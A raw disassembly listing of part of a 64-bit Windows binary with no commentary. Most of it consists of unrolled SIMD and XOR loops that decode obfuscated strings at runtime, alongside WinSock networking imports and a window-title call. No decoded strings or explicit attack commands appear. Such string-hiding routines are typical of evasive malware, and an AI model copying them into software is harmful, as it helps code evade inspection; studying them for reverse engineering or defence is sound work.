lea rdx, [rbp + 0x9c0]
lea rcx, [rbp + 0x4d8]
call fcn.140045100
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x4d8]
mov rcx, r12
call fcn.14000a6c0
nop
mov rdx, qword [rbp + 0x4f0]
cmp rdx, 0xf
jbe 0x140027c76
inc rdx
mov rcx, qword [rbp + 0x4d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140027c71
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002edfb
call fcn.1400bbb20
movups xmm0, xmmword [str.tq_n_r]
movzx eax, word [0x1400d6260]
movups xmmword [rsp + 0x70], xmm0
mov byte [rbp + 0x4d8], 0
mov qword [rbp + 0x4f0], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x4e8], rbx
mov ecx, Ordinal_79
mov word [rsp + 0x70], cx
xor word [rsp + 0x72], 0x3a
xor word [rsp + 0x74], 0x3b
xor word [rsp + 0x76], 0x3c
xor word [rsp + 0x78], 0x3d
xor word [rsp + 0x7a], 0x3e
xor word [rsp + 0x7c], 0x3f
xor word [rsp + 0x7e], 0x40
xor ax, 0x41
mov word [rbp - 0x80], ax
lea rdx, [rsp + 0x70]
jmp 0x14002891e
movups xmm2, xmmword [str._ZQsy]
movups xmmword [rbp + 0x158], xmm2
movsd xmm0, qword [0x1400d7288]
movsd qword [rbp + 0x168], xmm0
movzx eax, word [0x1400d7290]
mov word [rbp + 0x170], ax
mov r8d, ebx
cmp r15d, 2
jl 0x140027fab
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x158], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x15c]
xorps xmm2, xmm1
movd dword [rbp + 0x15c], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x160]
xorps xmm2, xmm1
movd dword [rbp + 0x160], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x164]
xorps xmm2, xmm1
movd dword [rbp + 0x164], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x168]
xorps xmm2, xmm1
movd dword [rbp + 0x168], xmm2
movdqa xmm3, xmmword [0x1400d7380]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm3
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x16c]
xorps xmm2, xmm1
movd dword [rbp + 0x16c], xmm2
mov r8d, Ordinal_27
mov eax, r8d
lea r9, [rbp + 0x158]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140027fc0
xorps xmm0, xmm0
movups xmmword [rbp + 0x4b8], xmm0
mov qword [rbp + 0x4c8], rbx
mov qword [rbp + 0x4d0], rbx
lea rax, [rbp + 0x158]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140028011
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x4b8]
call fcn.140045100
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x4b8]
mov rcx, r12
call fcn.14000a6c0
nop
mov rdx, qword [rbp + 0x4d0]
cmp rdx, 0xf
jbe 0x140028086
inc rdx
mov rcx, qword [rbp + 0x4b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028081
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002edfb
call fcn.1400bbb20
movzx eax, word [0x1400d5ac8]
movq xmm5, qword [0x1400d5ac0]
movups xmm0, xmmword [0x1400d5ab0]
movups xmm4, xmmword [0x1400d5aa0]
mov word [rbp + 0x308], ax
movq qword [rbp + 0x300], xmm5
movups xmmword [rbp + 0x2f0], xmm0
movups xmmword [rbp + 0x2e0], xmm4
mov byte [rbp + 0x4b8], 0
mov qword [rbp + 0x4d0], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x4c8], rbx
mov r8d, ebx
cmp r15d, 2
jl 0x140028302
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x2e0], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x2e8]
xorps xmm3, xmm0
movq qword [rbp + 0x2e8], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x2f0]
xorps xmm3, xmm0
movq qword [rbp + 0x2f0], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x2f8]
xorps xmm3, xmm0
movq qword [rbp + 0x2f8], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
pmuldq xmm2, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, xmm5
xorps xmm3, xmm0
movq qword [rbp + 0x300], xmm3
mov r8d, edi
mov eax, r8d
lea r9, [rbp + 0x2e0]
lea r9, [r9 + rax*2]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x140028310
lea rdx, [rbp + 0x2e0]
jmp 0x14002891e
movups xmm2, xmmword [str.zOHHRS]
movups xmmword [rbp + 0x138], xmm2
movsd xmm0, qword [0x1400d5c78]
movsd qword [rbp + 0x148], xmm0
movzx eax, word [0x1400d5c80]
mov word [rbp + 0x150], ax
mov r8d, ebx
cmp r15d, 2
jl 0x140028612
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x138], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x13c]
xorps xmm2, xmm1
movd dword [rbp + 0x13c], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x140]
xorps xmm2, xmm1
movd dword [rbp + 0x140], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x144]
xorps xmm2, xmm1
movd dword [rbp + 0x144], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x148]
xorps xmm2, xmm1
movd dword [rbp + 0x148], xmm2
movdqa xmm3, xmmword [0x1400d7380]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm3
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x14c]
xorps xmm2, xmm1
movd dword [rbp + 0x14c], xmm2
mov r8d, Ordinal_27
mov eax, r8d
lea r9, [rbp + 0x138]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140028620
xorps xmm0, xmm0
movups xmmword [rbp + 0x398], xmm0
mov qword [rbp + 0x3a8], rbx
mov qword [rbp + 0x3b0], rbx
lea rax, [rbp + 0x138]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140028671
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x398]
call fcn.140045100
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x398]
mov rcx, r12
call fcn.14000a6c0
nop
mov rdx, qword [rbp + 0x3b0]
cmp rdx, 0xf
jbe 0x1400286e6
inc rdx
mov rcx, qword [rbp + 0x398]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400286e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002edfb
call fcn.1400bbb20
movups xmm0, xmmword [0x1400d4f90]
movups xmm4, xmmword [str.jRTSI_M_a__j___H]
movups xmmword [rbp + 0x388], xmm0
movups xmmword [rbp + 0x378], xmm4
mov byte [rbp + 0x398], 0
mov qword [rbp + 0x3b0], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x3a8], rbx
mov r8d, ebx
cmp r15d, 2
jl 0x1400288da
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x378], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x380]
xorps xmm3, xmm0
movq qword [rbp + 0x380], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x388]
xorps xmm3, xmm0
movq qword [rbp + 0x388], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x390]
xorps xmm3, xmm0
movq qword [rbp + 0x390], xmm3
jmp 0x140028917
lea r9, [rbp + 0x378]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x10
jl 0x1400288e1
lea rdx, [rbp + 0x378]
mov rcx, qword [0x1400ecc10]
call qword [sym.imp.USER32.dll_SetWindowTextW]
movups xmm0, xmmword [0x1400d6ea0]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x1400d6eb0]
movups xmm0, xmmword [0x1400d6ec0]
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [0x1400d6ed0]
movups xmm0, xmmword [0x1400d6ee0]
movzx eax, byte [0x1400d6ef0]
movups xmmword [rbp + 0x30], xmm1
movups xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x50], al
mov r8d, ebx
cmp r15d, 2
jl 0x140028a7d
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp]
mov edx, dword [rbp + 0x1320]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x140028990
cmp r8d, 0x51
jge 0x140028abf
movsxd rax, r8d
lea r9, [rbp]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x51
jl 0x140028a90
movzx eax, word [0x1400d4b50]
mov word [rbp - 0x38], ax
movzx eax, byte [0x1400d4b52]
movups xmm2, xmmword [0x1400d4b40]
mov byte [rbp - 0x36], al
movups xmmword [rbp - 0x48], xmm2
mov r8d, ebx
cmp r15d, 2
jl 0x140028c87
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x48], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x44]
xorps xmm2, xmm1
movd dword [rbp - 0x44], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x40]
xorps xmm2, xmm1
movd dword [rbp - 0x40], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x3c]
xorps xmm2, xmm1
movd dword [rbp - 0x3c], xmm2
mov r8d, r13d
mov eax, r8d
lea r9, [rbp - 0x48]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140028c91
movups xmm2, xmmword [str.n_Xp_Qutb_n___8K]
movups xmmword [rbp + 0xb8], xmm2
movzx eax, word [0x1400d6a20]
mov word [rbp + 0xc8], ax
movzx eax, byte [0x1400d6a22]
mov byte [rbp + 0xca], al
mov r8d, ebx
cmp r15d, 2
jl 0x140028ea6
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xb8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbc]
xorps xmm2, xmm1
movd dword [rbp + 0xbc], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc0]
xorps xmm2, xmm1
movd dword [rbp + 0xc0], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc4]
xorps xmm2, xmm1
movd dword [rbp + 0xc4], xmm2
mov r8d, r13d
mov eax, r8d
lea r9, [rbp + 0xb8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140028ec0
movsd xmm0, qword [str.uuxq]
movsd qword [rbp + 0x78], xmm0
mov ecx, dword [0x1400d6a30]
mov dword [rbp + 0x80], ecx
movzx eax, byte [0x1400d6a34]
mov byte [rbp + 0x84], al
mov r8d, ebx
mov esi, reloc.WS2_32.dll_inet_ntoa
cmp r15d, 2
jl 0x140029060
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
